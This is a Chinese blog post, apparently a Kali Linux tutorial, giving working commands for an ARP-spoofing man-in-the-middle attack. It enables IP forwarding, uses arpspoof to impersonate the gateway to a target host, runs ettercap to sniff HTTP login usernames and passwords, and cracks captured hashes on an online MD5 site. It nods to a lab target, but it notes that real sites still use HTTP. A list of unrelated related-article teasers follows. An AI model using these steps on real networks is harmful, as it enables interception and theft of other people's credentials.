嗅探HTTP网页用户账户密码

2024-04-21 05:52:35

嗅探HTTP网页

一：测试基础

1.ARP基础：使用mac地址和ip地址进行通信的局域网协议
2.HTTP：一种上网、网页请求通信协议。该协议以明文传输，即在传输时不对数据进行加密，因为http的不安全性，所以在局域网环境中，可以通过ARP欺骗，将目标主机的网络数据包都流经攻击者，然后再通过嗅探的方式从而获取到HTTP的一些数据信息
3.Ettercap：一个kali自带的中间人套件

二.实战测试

1.路由转发，确保目标主机正常上网（截获到的流量发送出去）

echo 1 > /proc/sys/net/ipv4/ip_forward

提示权限不够时输入

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

2.ARP欺骗（欺骗目标，我就是网关）

arpspoof -i eth0 -t 192.168.1.183（目标靶机） 192.168.1.1（网关）

3.嗅探http登录密码

ettercap -Tq -i eth0

注：T代表文本形式输出，q代表安静模式，i指定网口

开始嗅探,然后静静地等待目标靶机上网，就能获取目标在网页中输入的用户名和密码了

4.目标靶机上网并登录

5.嗅探到账号，密码，访问的网站

6.此时密码是加密的，到www.cmd5.com去解密（直接输入密文就自动解密了）

提示：这里仅仅获取http类型的用户登录密码，而现在主流是https协议，下一篇博文破解https，其实还有很多网站都是http的（比如www.4399.com）

嗅探HTTP网页用户账户密码相关推荐

拦截器实现网页用户登陆
拦截器实现网页用户登陆实现思路 1.有一个登陆页面,需要写一个controller访问页面. 2. 登陆页面有一提交表单的动作.需要在controller中处理.判断用户名密码是否正确.如果正确,向 ...
网页用户登录权限校验的两种实现方式
网页登录界面进行登录后,如果不进行登录校验,则在其它页面无法知道该用户是否进行了登录.故需要对用户的登录进行校验,这里将介绍两种登录校验的方式.分别为利用自定义行为过滤器进行登录校验,另外一种 ...
计算机用户账户密码重置,简单三步重置忘记的电脑密码，记得收藏！
原标题:简单三步重置忘记的电脑密码,记得收藏! 帅雷雷讲堂又开课了! 现在电脑密码忘了已经不是啥大问题,Pin码登录或者用Hello登录都可以,但是忘记了的密码要怎么重置呢?今天就跟大家讲一下,如何重 ...
Photoshop制作个性的透明玻璃网页用户信息
玻璃网页其实跟玻璃的制作一样.重点是把边缘及中间的高光渲染出来,比较规则的图形直接用图层样式做出初步的质感,再增手工增加一些高光等即可.其它部分可以按自己需要添加. 最终效果 1.新建一个800 * ...
[极致用户体验] 网页里的「返回」应该用 history.back 还是 push ？
我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,发送加微信,交个朋友),转发本文前需获得作者HullQin授权.我独立开发了<联机桌游合集>,是个网页,可以很方便的跟朋友联机 ...
【CyberSecurityLearning 3】批处理、用户与组管理、服务器远程管理、破解Windows系统密码
目录一.批处理编写 1.1.批处理作用 1.2.如何创建批处理 1.3.批处理基本语法 1.3.1.@echo off 1.3.2.pause 1.3.3.title 1.3.4.echo. 1.3 ...
KALI嗅探（稍简）
要点1嗅探https登录密码基本所有的HTTPS网页比如:https://www.baidu.com,都会采用ssl证书加密机制,这是为了用户的隐私安全不被攻击者明文窃取.上一节课我使用http网页 ...
Linux shell 学习笔记（5）— 文件权限（添加、修改、删除用户及创建、修改群组）
1. Linux的安全性 Linux 安全系统的核心是用户账户.每个能进入 Linux 系统的用户都会被分配唯一的用户账户.用户对系统中各种对象的访问权限取决于他们登录系统时用的账户. 用户权限是通过 ...
史上最详细 Linux 用户与用户组知识
点击上方"方志朋",选择"设为星标" 做积极的人,而不是积极废人来源:CU技术社区 ID:ChinaUnix2013 1.用户和用户组文件在 linux 中 ...

最新文章

热门文章